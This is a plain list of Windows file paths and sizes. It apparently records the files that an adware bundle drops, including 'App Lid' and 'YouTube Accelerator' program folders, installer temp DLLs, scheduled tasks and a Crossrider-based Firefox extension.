    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\567f43cb72fe3ac6419369953394cadd[1].png (101123 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\a6ae526a0a22dcfc743a66d44a3e09e3[1].png (65119 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\BC13LZYH.txt (91 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\ddb3b88cf98eb0220c9e6c252e376749[1].png (36554 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\e54e8c720dffffa619c3b0eacec9381a[1].png (7593 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\36d7cd00f07003a67021237993257d08[1].png (11789 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\logo_illust[1].jpg (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\NAJ6N25P.txt (225 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\ace33f0a1eddf74bbe8d1bfac70deded[1].png (22070 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\b43daeae6aca6ab7d6a00084494d81db[1].png (30793 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\bbbde9554589bda63791709a6785e0a3[1].png (19380 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\f4e4b853ddab3b763f0af17d513631bd[1].png (50676 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\4.5stars[1].jpg (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\home[1].htm (2899 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\style[1].css (181 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\b147a5a09b49b133d347bd975a4c5616[1].png (2691 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\07fce0a4ff78cc7e6376e227f046ce06[1].png (75975 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\cc3148e57a2928cd1ada1bbea553c3c2[1].png (1160 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\6a12dc1a298e870b610a58a56ba0f5ec[1].jpg (584 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\ac5196fbf245580eee113296dff14d0b[1].png (8840 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\7e5817bad781bbc2d2e43b350ccb53db[1].png (12308 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\b85261679e262228a562f693b3e6ef6f[1].png (64771 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\bg_main[1].jpg (200 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\52d5414e7372639389ab7e9e4d479aee[1].png (44504 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\config[2].json (778 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\scripts[1].js (25 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\1759703220576e41cab39feb18a11b14[1].png (17060 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\logo[1].jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\83a4cee7a59522b93ed0ae1fa73ce8f3[1].png (4979 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\7d4f668f3d1818d01b6b9684b669d0db[1].png (8092 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\jquery.smooth-scroll.min[1].js (194 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\3.0stars[1].jpg (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\59982d8527c0da41e35817e8fc15c0fc[1].png (7112 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\da84c206c2019448521379d2ff837774[1].png (6034 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\13ca8e322e15bc394d66a37bec12e3b4[1].png (41319 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\3YEwT2a1878zysq92S8_9w[1].eot (1831 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\a64a4b5c68c364d30083fbd0b0363585[1].png (54123 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\5.0stars[1].jpg (159 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\analytics[1].js (17192 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\f1ed3cd0cae7a3524376e6f9369c7ab8[1].png (6239 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\css[1].css (155 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\5dbc29649669598ff43174b9ee730008[1].png (2945 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\589b1e936e1f038dc45bd8ffff59b359[1].png (32220 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\e94782c9200f8de809a50327879df1cc[1].png (54379 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\jquery-ui.min[1].js (117066 bytes)
    %Program Files% (x86)\App Lid\utils.exe (82314 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspB839.tmp (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspB839.tmp\InstallerUtils2.dll (3410 bytes)
    C:\Windows\Tasks\af1bef35-aa27-4010-9003-02d835dca74d-5.job (74 bytes)
    %Program Files% (x86)\App Lid\af1bef35-aa27-4010-9003-02d835dca74d.xpi (2321 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspB839.tmp\af1bef35-aa27-4010-9003-02d835dca74d-4.dll (38904 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspB839.tmp\InstallerUtils.dll (28539 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspB839.tmp\md5dll.dll (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuB809.tmp (667745 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspB839.tmp\100846 (91089 bytes)
    %Program Files% (x86)\App Lid\af1bef35-aa27-4010-9003-02d835dca74d-4.exe (8330 bytes)
    %Program Files% (x86)\App Lid\af1bef35-aa27-4010-9003-02d835dca74d-5.exe (7547 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspB839.tmp\ExecDos.dll (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspB839.tmp\nsisos.dll (13 bytes)
    %Program Files% (x86)\App Lid\Uninstall.exe (601 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspB839.tmp\345984 (4375 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspB839.tmp\System.dll (23 bytes)
    C:\Windows\Tasks\af1bef35-aa27-4010-9003-02d835dca74d-5_user.job (74 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspB839.tmp\UserInfo.dll (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspB839.tmp\StdUtils.dll (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\ipgeoapi_com[1].json (40 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuDECC.tmp\D1958.dll (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuDECC.tmp\setup.exe (1590209 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuDECC.tmp\NK.lky (16 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuDECB.tmp (151383 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuDECC.tmp\setup1.exe (143233 bytes)
    %Program Files% (x86)\YouTube Accelerator\instlsp.log (295 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\80421bfabc0bafb173298567872a5244.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\11c70fb962bbe54ad98c24658e819ca6.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\defaults\preferences\prefs.js (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\301.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\252.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\3dfaab4d913cacc7f712fc41c22e5ec1.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\b86a9cbfcc2e285a6001f36d8d50cb35.js (947 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\15bf2fed2c287e299bf3b6965c3a5b42.js (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\255.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\125ea4b0a00c558a8f4a864d7d8d9423.js (618 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\b917f254106854e0153ec00d7aa11ce6.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome.manifest (634 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\345.js (619 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\install.rdf (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button5.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\extension.js (358 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\manifest.xml (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon24.png (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\09405ee413a96f6e43a3e9a6885ab1a5.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button2.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button3.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\aa05d258c99d7bbb41baf727160dcef9.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\b89fb98e4a8c8d557e15d5b9526810c9.js (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\104.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\234.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\288.js (557 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button4.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\281.js (489 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\59c6a5abe7b0879010ddc16f0ae9fc81.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon48.png (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\1cff3065dd04512a48f5441224bf9023.js (651 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\bcbd35555e683e97557394f24c7894c2.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\93cecea39567ed1993d5b39d5b9f8b0f.js (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\808d676494869df5ae8bcbf05993cd44.js (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\426c3ef5da6b5d05d0ac1b6e3b0506dd.js (964 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\6a9d61fb02d695ea8d2c3f48d9623c70.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\b8150fdea74b94b1a837a0f05e890913.js (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\5574ea8cae3c2cd536e7f0af919400dd.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\454cf1d75978cc5c44e70c193fd44f5b.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\5f34dafb22b2dcd68e32f84a40026deb.js (28 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\84a542322eb027c7b2038da6062d6458.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\e8f3d29704aee82a42e5a77d82b73294.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button1.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\01d4db2d5d6e8bd002204d6c2c7087a2.js (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\262.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\071df326c7af6896dedce8afcf166ee5.js (134 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\39a2e4502ed394d3f48d79820ba98453.js (357 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\187941f97e5c681f04ed5c3daaf041a4.js (20 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\64af443d67f576a1d619f0dc67c2bba3.js (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\f19f2966d90990e2a3ca3017734f431a.js (26 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon16.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\53ad5ed5de8b1e967d68e7b37f876b17.js (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\28.js (540 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\90f7eb9e469e91ac1f0f9d46700d74b8.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\79da579c841cbf64ff7dfa6825d59903.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\dialog.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.xul (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\efc893a504fa3498a3b3f7b776874ffe.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\e460e993638e4bce5df1994a4d163209.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins.json (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\d0ad522b3b2779c51b369bbd11a5c98f.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\skin.css (909 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon128.png (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\update.css (144 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\8c49bcb60e7c485cb1e753b7f0368f17.js (21 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\221.js (419 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\background.html (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\a5dc13f9b778774991389635e87cf52c.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\background.js (640 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\browser.xul (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\a36fd0cb096a95fb82664200691ce57c.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
